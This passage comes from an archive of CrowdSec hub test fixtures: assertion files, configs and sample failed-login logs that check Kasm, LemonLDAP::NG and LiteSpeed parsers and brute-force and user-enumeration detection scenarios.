(user)\", \"metric_name\": \"account.login.failed_invalid_password\", \"path_info\": \"/authenticate\", \"request_ip\": \"192.166.246.231, 192.166.246.231, 192.166.246.231, 192.168.32.12\", \"user_agent\": \"Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/109.0\", \"timestamp\": \"2023-01-31T15:07:43.373934+00:00\"}" results["s01-parse"]["crowdsecurity/kasm-logs"][3].Evt.Parsed["program"] == "kasm" results["s01-parse"]["crowdsecurity/kasm-logs"][3].Evt.Parsed["proxies"] == " 192.166.246.231, 192.166.246.231, 192.168.32.12" results["s01-parse"]["crowdsecurity/kasm-logs"][3].Evt.Parsed["remote_ip"] == "192.166.246.231" results["s01-parse"]["crowdsecurity/kasm-logs"][3].Evt.Meta["service"] == "kasm" results["s01-parse"]["crowdsecurity/kasm-logs"][3].Evt.Meta["source_ip"] == "192.166.246.231" results["s01-parse"]["crowdsecurity/kasm-logs"][3].Evt.Meta["datasource_path"] == "kasm-logs.log" results["s01-parse"]["crowdsecurity/kasm-logs"][3].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["crowdsecurity/kasm-logs"][3].Evt.Meta["http_path"] == "/authenticate" results["s01-parse"]["crowdsecurity/kasm-logs"][3].Evt.Meta["http_user_agent"] == "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/109.0" results["s01-parse"]["crowdsecurity/kasm-logs"][3].Evt.Meta["metric_name"] == "account.login.failed_invalid_password" results["s01-parse"]["crowdsecurity/kasm-logs"][4].Success == true results["s01-parse"]["crowdsecurity/kasm-logs"][4].Evt.Parsed["remote_ip"] == "185.234.70.44" results["s01-parse"]["crowdsecurity/kasm-logs"][4].Evt.Parsed["message"] == "{\"asctime\": \"2023-01-31 15:09:23,351\", \"name\": \"client_api_server\", \"processName\": \"MainProcess\", \"filename\": \"client_api.py\", \"funcName\": \"authenticate\", \"levelname\": \"WARNING\", \"lineno\": 655, \"module\": \"client_api\", \"threadName\": \"CP Server Thread-6\", \"message\": \"Authentication attempt invalid password for user: (user)\", \"metric_name\": \"account.login.failed_invalid_password\", \"path_info\": \"/authenticate\", \"request_ip\": \"185.234.70.44, 185.234.70.44, 185.234.70.44, 192.168.32.12\", \"user_agent\": \"Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/109.0\", \"timestamp\": \"2023-01-31T15:09:23.351967+00:00\"}" results["s01-parse"]["crowdsecurity/kasm-logs"][4].Evt.Parsed["program"] == "kasm" results["s01-parse"]["crowdsecurity/kasm-logs"][4].Evt.Parsed["proxies"] == " 185.234.70.44, 185.234.70.44, 192.168.32.12" results["s01-parse"]["crowdsecurity/kasm-logs"][4].Evt.Meta["service"] == "kasm" results["s01-parse"]["crowdsecurity/kasm-logs"][4].Evt.Meta["source_ip"] == "185.234.70.44" results["s01-parse"]["crowdsecurity/kasm-logs"][4].Evt.Meta["datasource_path"] == "kasm-logs.log" results["s01-parse"]["crowdsecurity/kasm-logs"][4].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["crowdsecurity/kasm-logs"][4].Evt.Meta["http_path"] == "/authenticate" results["s01-parse"]["crowdsecurity/kasm-logs"][4].Evt.Meta["http_user_agent"] == "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/109.0" results["s01-parse"]["crowdsecurity/kasm-logs"][4].Evt.Meta["metric_name"] == "account.login.failed_invalid_password" len(results["s02-enrich"]["crowdsecurity/dateparse-enrich"]) == 5 results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Success == true results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["program"] == "kasm" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["proxies"] == " 185.234.70.33, 185.234.70.33, 192.168.32.12" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["remote_ip"] == "185.234.70.33" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["message"] == "{\"asctime\": \"2023-01-31 15:05:01,896\", \"name\": \"client_api_server\", \"processName\": \"MainProcess\", \"filename\": \"client_api.py\", \"funcName\": \"authenticate\", \"levelname\": \"WARNING\", \"lineno\": 744, \"module\": \"client_api\", \"threadName\": \"CP Server Thread-8\", \"message\": \"Authentication attempt invalid user: (user1)\", \"metric_name\": \"account.login.failed_invalid_user\", \"path_info\": \"/authenticate\", \"request_ip\": \"185.234.70.33, 185.234.70.33, 185.234.70.33, 192.168.32.12\", \"user_agent\": \"Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/109.0\", \"timestamp\": \"2023-01-31T15:05:01.896185+00:00\"}" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Meta["http_user_agent"] == "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/109.0" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Meta["metric_name"] == "account.login.failed_invalid_user" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Meta["service"] == "kasm" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Meta["source_ip"] == "185.234.70.33" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Meta["timestamp"] == "2023-01-31T15:05:01.896185Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Meta["datasource_path"] == "kasm-logs.log" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Meta["datasource_type"] == "file" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Meta["http_path"] == "/authenticate" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Enriched["MarshaledTime"] == "2023-01-31T15:05:01.896185Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Success == true results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Parsed["proxies"] == " 185.234.70.33, 185.234.70.33, 192.168.32.12" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Parsed["remote_ip"] == "185.234.70.33" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Parsed["message"] == "{\"asctime\": \"2023-01-31 15:05:05,305\", \"name\": \"client_api_server\", \"processName\": \"MainProcess\", \"filename\": \"client_api.py\", \"funcName\": \"authenticate\", \"levelname\": \"WARNING\", \"lineno\": 744, \"module\": \"client_api\", \"threadName\": \"CP Server Thread-13\", \"message\": \"Authentication attempt invalid user: (user2)\", \"metric_name\": \"account.login.failed_invalid_user\", \"path_info\": \"/authenticate\", \"request_ip\": \"185.234.70.33, 185.234.70.33, 185.234.70.33, 192.168.32.12\", \"user_agent\": \"Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/109.0\", \"timestamp\": \"2023-01-31T15:05:05.305390+00:00\"}" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Parsed["program"] == "kasm" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Meta["timestamp"] == "2023-01-31T15:05:05.30539Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Meta["datasource_path"] == "kasm-logs.log" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Meta["datasource_type"] == "file" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Meta["http_path"] == "/authenticate" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Meta["http_user_agent"] == "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/109.0" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Meta["metric_name"] == "account.login.failed_invalid_user" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Meta["service"] == "kasm" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Meta["source_ip"] == "185.234.70.33" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Enriched["MarshaledTime"] == "2023-01-31T15:05:05.30539Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Success == true results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Parsed["message"] == "{\"asctime\": \"2023-01-31 15:07:41,658\", \"name\": \"client_api_server\", \"processName\": \"MainProcess\", \"filename\": \"client_api.py\", \"funcName\": \"authenticate\", \"levelname\": \"WARNING\", \"lineno\": 655, \"module\": \"client_api\", \"threadName\": \"CP Server Thread-6\", \"message\": \"Authentication attempt invalid password for user: (user)\", \"metric_name\": \"account.login.failed_invalid_password\", \"path_info\": \"/authenticate\", \"request_ip\": \"192.166.246.231, 192.166.246.231, 192.166.246.231, 192.168.32.12\", \"user_agent\": \"Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/109.0\", \"timestamp\": \"2023-01-31T15:07:41.658700+00:00\"}" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Parsed["program"] == "kasm" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Parsed["proxies"] == " 192.166.246.231, 192.166.246.231, 192.168.32.12" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Parsed["remote_ip"] == "192.166.246.231" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Meta["datasource_type"] == "file" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Meta["http_path"] == "/authenticate" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Meta["http_user_agent"] == "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/109.0" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Meta["metric_name"] == "account.login.failed_invalid_password" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Meta["service"] == "kasm" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Meta["source_ip"] == "192.166.246.231" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Meta["timestamp"] == "2023-01-31T15:07:41.6587Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Meta["datasource_path"] == "kasm-logs.log" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Enriched["MarshaledTime"] == "2023-01-31T15:07:41.6587Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Success == true results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Parsed["proxies"] == " 192.166.246.231, 192.166.246.231, 192.168.32.12" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Parsed["remote_ip"] == "192.166.246.231" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Parsed["message"] == "{\"asctime\": \"2023-01-31 15:07:43,373\", \"name\": \"client_api_server\", \"processName\": \"MainProcess\", \"filename\": \"client_api.py\", \"funcName\": \"authenticate\", \"levelname\": \"WARNING\", \"lineno\": 655, \"module\": \"client_api\", \"threadName\": \"CP Server Thread-7\", \"message\": \"Authentication attempt invalid password for user: (user)\", \"metric_name\": \"account.login.failed_invalid_password\", \"path_info\": \"/authenticate\", \"request_ip\": \"192.166.246.231, 192.166.246.231, 192.166.246.231, 192.168.32.12\", \"user_agent\": \"Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/109.0\", \"timestamp\": \"2023-01-31T15:07:43.373934+00:00\"}" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Parsed["program"] == "kasm" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Meta["service"] == "kasm" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Meta["source_ip"] == "192.166.246.231" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Meta["timestamp"] == "2023-01-31T15:07:43.373934Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Meta["datasource_path"] == "kasm-logs.log" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Meta["datasource_type"] == "file" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Meta["http_path"] == "/authenticate" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Meta["http_user_agent"] == "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/109.0" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Meta["metric_name"] == "account.login.failed_invalid_password" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Enriched["MarshaledTime"] == "2023-01-31T15:07:43.373934Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][4].Success == true results["s02-enrich"]["crowdsecurity/dateparse-enrich"][4].Evt.Parsed["remote_ip"] == "185.234.70.44" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][4].Evt.Parsed["message"] == "{\"asctime\": \"2023-01-31 15:09:23,351\", \"name\": \"client_api_server\", \"processName\": \"MainProcess\", \"filename\": \"client_api.py\", \"funcName\": \"authenticate\", \"levelname\": \"WARNING\", \"lineno\": 655, \"module\": \"client_api\", \"threadName\": \"CP Server Thread-6\", \"message\": \"Authentication attempt invalid password for user: (user)\", \"metric_name\": \"account.login.failed_invalid_password\", \"path_info\": \"/authenticate\", \"request_ip\": \"185.234.70.44, 185.234.70.44, 185.234.70.44, 192.168.32.12\", \"user_agent\": \"Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/109.0\", \"timestamp\": \"2023-01-31T15:09:23.351967+00:00\"}" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][4].Evt.Parsed["program"] == "kasm" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][4].Evt.Parsed["proxies"] == " 185.234.70.44, 185.234.70.44, 192.168.32.12" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][4].Evt.Meta["http_user_agent"] == "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/109.0" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][4].Evt.Meta["metric_name"] == "account.login.failed_invalid_password" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][4].Evt.Meta["service"] == "kasm" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][4].Evt.Meta["source_ip"] == "185.234.70.44" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][4].Evt.Meta["timestamp"] == "2023-01-31T15:09:23.351967Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][4].Evt.Meta["datasource_path"] == "kasm-logs.log" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][4].Evt.Meta["datasource_type"] == "file" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][4].Evt.Meta["http_path"] == "/authenticate" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][4].Evt.Enriched["MarshaledTime"] == "2023-01-31T15:09:23.351967Z" len(results["success"][""]) == 0hub1/.tests/lemonldap-ng-bf/000077500000000000000000000000001437532772500161165ustar00rootroot00000000000000hub1/.tests/lemonldap-ng-bf/config.yaml000066400000000000000000000003541437532772500202510ustar00rootroot00000000000000parsers: - firewallservices/lemonldap-ng - crowdsecurity/syslog-logs - crowdsecurity/dateparse-enrich scenarios: - firewallservices/lemonldap-ng-bf postoverflows: - "" log_file: lemonldap-ng-bf.log log_type: syslog ignore_parsers: true hub1/.tests/lemonldap-ng-bf/lemonldap-ng-bf.log000066400000000000000000000012111437532772500215560ustar00rootroot00000000000000Mar 2 22:57:01 proxyin LLNG[73088]: [warn] CamillaNazario7 was not found in LDAP directory (1.2.3.4) Mar 2 22:57:05 proxyin LLNG[106537]: [warn] Bad password for dani (1.2.3.4) Mar 2 22:57:07 sas lemonldap-ng[30304]: Lemonldap::NG : BadUser was not found in LDAP directory (1.2.3.4) Mar 2 22:57:10 sas lemonldap-ng[22384]: Lemonldap::NG : Bad password for admin (1.2.3.4) Mar 2 22:57:10 sas lemonldap-ng[22384]: Lemonldap::NG : Bad password for admin1 (1.2.3.4) Mar 2 22:57:10 sas lemonldap-ng[22384]: Lemonldap::NG : Bad password for admin2 (1.2.3.4) Mar 2 22:57:10 sas lemonldap-ng[22384]: Lemonldap::NG : Bad password for admin3 (1.2.3.4) hub1/.tests/lemonldap-ng-bf/parser.assert000066400000000000000000000000001437532772500206230ustar00rootroot00000000000000hub1/.tests/lemonldap-ng-bf/scenario.assert000066400000000000000000000140221437532772500211430ustar00rootroot00000000000000len(results) == 2 "1.2.3.4" in results[0].Overflow.GetSources() results[0].Overflow.Sources["1.2.3.4"].IP == "1.2.3.4" results[0].Overflow.Sources["1.2.3.4"].Range == "" results[0].Overflow.Sources["1.2.3.4"].GetScope() == "Ip" results[0].Overflow.Sources["1.2.3.4"].GetValue() == "1.2.3.4" results[0].Overflow.Alert.Events[0].GetMeta("datasource_path") == "lemonldap-ng-bf.log" results[0].Overflow.Alert.Events[0].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[0].GetMeta("log_type") == "llng_auth_fail" results[0].Overflow.Alert.Events[0].GetMeta("service") == "llng" results[0].Overflow.Alert.Events[0].GetMeta("source_ip") == "1.2.3.4" results[0].Overflow.Alert.Events[0].GetMeta("user") == "CamillaNazario7" results[0].Overflow.Alert.Events[1].GetMeta("datasource_path") == "lemonldap-ng-bf.log" results[0].Overflow.Alert.Events[1].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[1].GetMeta("log_type") == "llng_auth_fail" results[0].Overflow.Alert.Events[1].GetMeta("service") == "llng" results[0].Overflow.Alert.Events[1].GetMeta("source_ip") == "1.2.3.4" results[0].Overflow.Alert.Events[1].GetMeta("user") == "dani" results[0].Overflow.Alert.Events[2].GetMeta("datasource_path") == "lemonldap-ng-bf.log" results[0].Overflow.Alert.Events[2].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[2].GetMeta("log_type") == "llng_auth_fail" results[0].Overflow.Alert.Events[2].GetMeta("service") == "llng" results[0].Overflow.Alert.Events[2].GetMeta("source_ip") == "1.2.3.4" results[0].Overflow.Alert.Events[2].GetMeta("user") == "BadUser" results[0].Overflow.Alert.Events[3].GetMeta("datasource_path") == "lemonldap-ng-bf.log" results[0].Overflow.Alert.Events[3].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[3].GetMeta("log_type") == "llng_auth_fail" results[0].Overflow.Alert.Events[3].GetMeta("service") == "llng" results[0].Overflow.Alert.Events[3].GetMeta("source_ip") == "1.2.3.4" results[0].Overflow.Alert.Events[3].GetMeta("user") == "admin" results[0].Overflow.Alert.Events[4].GetMeta("datasource_path") == "lemonldap-ng-bf.log" results[0].Overflow.Alert.Events[4].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[4].GetMeta("log_type") == "llng_auth_fail" results[0].Overflow.Alert.Events[4].GetMeta("service") == "llng" results[0].Overflow.Alert.Events[4].GetMeta("source_ip") == "1.2.3.4" results[0].Overflow.Alert.Events[4].GetMeta("user") == "admin1" results[0].Overflow.Alert.Events[5].GetMeta("datasource_path") == "lemonldap-ng-bf.log" results[0].Overflow.Alert.Events[5].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[5].GetMeta("log_type") == "llng_auth_fail" results[0].Overflow.Alert.Events[5].GetMeta("service") == "llng" results[0].Overflow.Alert.Events[5].GetMeta("source_ip") == "1.2.3.4" results[0].Overflow.Alert.Events[5].GetMeta("user") == "admin2" results[0].Overflow.Alert.GetScenario() == "firewallservices/lemonldap-ng-user-enum" results[0].Overflow.Alert.Remediation == true results[0].Overflow.Alert.GetEventsCount() == 6 "1.2.3.4" in results[1].Overflow.GetSources() results[1].Overflow.Sources["1.2.3.4"].IP == "1.2.3.4" results[1].Overflow.Sources["1.2.3.4"].Range == "" results[1].Overflow.Sources["1.2.3.4"].GetScope() == "Ip" results[1].Overflow.Sources["1.2.3.4"].GetValue() == "1.2.3.4" results[1].Overflow.Alert.Events[0].GetMeta("datasource_path") == "lemonldap-ng-bf.log" results[1].Overflow.Alert.Events[0].GetMeta("datasource_type") == "file" results[1].Overflow.Alert.Events[0].GetMeta("log_type") == "llng_auth_fail" results[1].Overflow.Alert.Events[0].GetMeta("service") == "llng" results[1].Overflow.Alert.Events[0].GetMeta("source_ip") == "1.2.3.4" results[1].Overflow.Alert.Events[0].GetMeta("user") == "CamillaNazario7" results[1].Overflow.Alert.Events[1].GetMeta("datasource_path") == "lemonldap-ng-bf.log" results[1].Overflow.Alert.Events[1].GetMeta("datasource_type") == "file" results[1].Overflow.Alert.Events[1].GetMeta("log_type") == "llng_auth_fail" results[1].Overflow.Alert.Events[1].GetMeta("service") == "llng" results[1].Overflow.Alert.Events[1].GetMeta("source_ip") == "1.2.3.4" results[1].Overflow.Alert.Events[1].GetMeta("user") == "dani" results[1].Overflow.Alert.Events[2].GetMeta("datasource_path") == "lemonldap-ng-bf.log" results[1].Overflow.Alert.Events[2].GetMeta("datasource_type") == "file" results[1].Overflow.Alert.Events[2].GetMeta("log_type") == "llng_auth_fail" results[1].Overflow.Alert.Events[2].GetMeta("service") == "llng" results[1].Overflow.Alert.Events[2].GetMeta("source_ip") == "1.2.3.4" results[1].Overflow.Alert.Events[2].GetMeta("user") == "BadUser" results[1].Overflow.Alert.Events[3].GetMeta("datasource_path") == "lemonldap-ng-bf.log" results[1].Overflow.Alert.Events[3].GetMeta("datasource_type") == "file" results[1].Overflow.Alert.Events[3].GetMeta("log_type") == "llng_auth_fail" results[1].Overflow.Alert.Events[3].GetMeta("service") == "llng" results[1].Overflow.Alert.Events[3].GetMeta("source_ip") == "1.2.3.4" results[1].Overflow.Alert.Events[3].GetMeta("user") == "admin" results[1].Overflow.Alert.Events[4].GetMeta("datasource_path") == "lemonldap-ng-bf.log" results[1].Overflow.Alert.Events[4].GetMeta("datasource_type") == "file" results[1].Overflow.Alert.Events[4].GetMeta("log_type") == "llng_auth_fail" results[1].Overflow.Alert.Events[4].GetMeta("service") == "llng" results[1].Overflow.Alert.Events[4].GetMeta("source_ip") == "1.2.3.4" results[1].Overflow.Alert.Events[4].GetMeta("user") == "admin1" results[1].Overflow.Alert.Events[5].GetMeta("datasource_path") == "lemonldap-ng-bf.log" results[1].Overflow.Alert.Events[5].GetMeta("datasource_type") == "file" results[1].Overflow.Alert.Events[5].GetMeta("log_type") == "llng_auth_fail" results[1].Overflow.Alert.Events[5].GetMeta("service") == "llng" results[1].Overflow.Alert.Events[5].GetMeta("source_ip") == "1.2.3.4" results[1].Overflow.Alert.Events[5].GetMeta("user") == "admin2" results[1].Overflow.Alert.GetScenario() == "firewallservices/lemonldap-ng-bf" results[1].Overflow.Alert.Remediation == true results[1].Overflow.Alert.GetEventsCount() == 6 hub1/.tests/lemonldap-ng-logs/000077500000000000000000000000001437532772500164735ustar00rootroot00000000000000hub1/.tests/lemonldap-ng-logs/config.yaml000066400000000000000000000003271437532772500206260ustar00rootroot00000000000000parsers: - firewallservices/lemonldap-ng - crowdsecurity/syslog-logs - crowdsecurity/dateparse-enrich scenarios: - "" postoverflows: - "" log_file: lemonldap-ng-logs.log log_type: lemonldap-ng ignore_parsers: false hub1/.tests/lemonldap-ng-logs/lemonldap-ng-logs.log000066400000000000000000000005701437532772500225170ustar00rootroot00000000000000Mar 1 04:07:11 proxyin LLNG[73088]: [warn] CamillaNazario7 was not found in LDAP directory (1.2.3.4) Mar 2 22:57:38 proxyin LLNG[106537]: [warn] Bad password for dani (1.2.3.4) Mar 2 22:55:23 sas lemonldap-ng[30304]: Lemonldap::NG : BadUser was not found in LDAP directory (1.2.3.4) Mar 2 22:57:10 sas lemonldap-ng[22384]: Lemonldap::NG : Bad password for admin (1.2.3.4) hub1/.tests/lemonldap-ng-logs/parser.assert000066400000000000000000000110741437532772500212150ustar00rootroot00000000000000results["s01-parse"]["firewall-services/lemonldap-ng-logs"][0].Success == true results["s01-parse"]["firewall-services/lemonldap-ng-logs"][0].Evt.Parsed["message"] == "Mar 1 04:07:11 proxyin LLNG[73088]: [warn] CamillaNazario7 was not found in LDAP directory (1.2.3.4)" results["s01-parse"]["firewall-services/lemonldap-ng-logs"][0].Evt.Parsed["program"] == "lemonldap-ng" results["s01-parse"]["firewall-services/lemonldap-ng-logs"][0].Evt.Parsed["src_ip"] == "1.2.3.4" results["s01-parse"]["firewall-services/lemonldap-ng-logs"][0].Evt.Parsed["user"] == "CamillaNazario7" results["s01-parse"]["firewall-services/lemonldap-ng-logs"][0].Evt.Meta["user"] == "CamillaNazario7" results["s01-parse"]["firewall-services/lemonldap-ng-logs"][0].Evt.Meta["datasource_path"] == "lemonldap-ng-logs.log" results["s01-parse"]["firewall-services/lemonldap-ng-logs"][0].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["firewall-services/lemonldap-ng-logs"][0].Evt.Meta["log_type"] == "llng_auth_fail" results["s01-parse"]["firewall-services/lemonldap-ng-logs"][0].Evt.Meta["service"] == "llng" results["s01-parse"]["firewall-services/lemonldap-ng-logs"][0].Evt.Meta["source_ip"] == "1.2.3.4" results["s01-parse"]["firewall-services/lemonldap-ng-logs"][1].Success == true results["s01-parse"]["firewall-services/lemonldap-ng-logs"][1].Evt.Parsed["message"] == "Mar 2 22:57:38 proxyin LLNG[106537]: [warn] Bad password for dani (1.2.3.4)" results["s01-parse"]["firewall-services/lemonldap-ng-logs"][1].Evt.Parsed["program"] == "lemonldap-ng" results["s01-parse"]["firewall-services/lemonldap-ng-logs"][1].Evt.Parsed["src_ip"] == "1.2.3.4" results["s01-parse"]["firewall-services/lemonldap-ng-logs"][1].Evt.Parsed["user"] == "dani" results["s01-parse"]["firewall-services/lemonldap-ng-logs"][1].Evt.Meta["service"] == "llng" results["s01-parse"]["firewall-services/lemonldap-ng-logs"][1].Evt.Meta["source_ip"] == "1.2.3.4" results["s01-parse"]["firewall-services/lemonldap-ng-logs"][1].Evt.Meta["user"] == "dani" results["s01-parse"]["firewall-services/lemonldap-ng-logs"][1].Evt.Meta["datasource_path"] == "lemonldap-ng-logs.log" results["s01-parse"]["firewall-services/lemonldap-ng-logs"][1].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["firewall-services/lemonldap-ng-logs"][1].Evt.Meta["log_type"] == "llng_auth_fail" results["s01-parse"]["firewall-services/lemonldap-ng-logs"][2].Success == true results["s01-parse"]["firewall-services/lemonldap-ng-logs"][2].Evt.Parsed["message"] == "Mar 2 22:55:23 sas lemonldap-ng[30304]: Lemonldap::NG : BadUser was not found in LDAP directory (1.2.3.4)" results["s01-parse"]["firewall-services/lemonldap-ng-logs"][2].Evt.Parsed["program"] == "lemonldap-ng" results["s01-parse"]["firewall-services/lemonldap-ng-logs"][2].Evt.Parsed["src_ip"] == "1.2.3.4" results["s01-parse"]["firewall-services/lemonldap-ng-logs"][2].Evt.Parsed["user"] == "BadUser" results["s01-parse"]["firewall-services/lemonldap-ng-logs"][2].Evt.Meta["source_ip"] == "1.2.3.4" results["s01-parse"]["firewall-services/lemonldap-ng-logs"][2].Evt.Meta["user"] == "BadUser" results["s01-parse"]["firewall-services/lemonldap-ng-logs"][2].Evt.Meta["datasource_path"] == "lemonldap-ng-logs.log" results["s01-parse"]["firewall-services/lemonldap-ng-logs"][2].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["firewall-services/lemonldap-ng-logs"][2].Evt.Meta["log_type"] == "llng_auth_fail" results["s01-parse"]["firewall-services/lemonldap-ng-logs"][2].Evt.Meta["service"] == "llng" results["s01-parse"]["firewall-services/lemonldap-ng-logs"][3].Success == true results["s01-parse"]["firewall-services/lemonldap-ng-logs"][3].Evt.Parsed["user"] == "admin" results["s01-parse"]["firewall-services/lemonldap-ng-logs"][3].Evt.Parsed["message"] == "Mar 2 22:57:10 sas lemonldap-ng[22384]: Lemonldap::NG : Bad password for admin (1.2.3.4)" results["s01-parse"]["firewall-services/lemonldap-ng-logs"][3].Evt.Parsed["program"] == "lemonldap-ng" results["s01-parse"]["firewall-services/lemonldap-ng-logs"][3].Evt.Parsed["src_ip"] == "1.2.3.4" results["s01-parse"]["firewall-services/lemonldap-ng-logs"][3].Evt.Meta["service"] == "llng" results["s01-parse"]["firewall-services/lemonldap-ng-logs"][3].Evt.Meta["source_ip"] == "1.2.3.4" results["s01-parse"]["firewall-services/lemonldap-ng-logs"][3].Evt.Meta["user"] == "admin" results["s01-parse"]["firewall-services/lemonldap-ng-logs"][3].Evt.Meta["datasource_path"] == "lemonldap-ng-logs.log" results["s01-parse"]["firewall-services/lemonldap-ng-logs"][3].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["firewall-services/lemonldap-ng-logs"][3].Evt.Meta["log_type"] == "llng_auth_fail" hub1/.tests/lemonldap-ng-logs/scenario.assert000066400000000000000000000000001437532772500215070ustar00rootroot00000000000000hub1/.tests/litespeed-admin-bf/000077500000000000000000000000001437532772500166055ustar00rootroot00000000000000hub1/.tests/litespeed-admin-bf/config.yaml000066400000000000000000000004071437532772500207370ustar00rootroot00000000000000parsers: - ./parsers/s01-parse/crowdsecurity/litespeed-logs.yaml - crowdsecurity/syslog-logs - crowdsecurity/dateparse-enrich scenarios: - ./scenarios/crowdsecurity/litespeed-admin-bf.yaml log_file: litespeed-admin-bf.log log_type: litespeed ignore_parsers: true hub1/.tests/litespeed-admin-bf/litespeed-admin-bf.log000066400000000000000000000030361437532772500227430ustar00rootroot000000000000002022-06-08 22:49:20.774649 [NOTICE] [1226033] 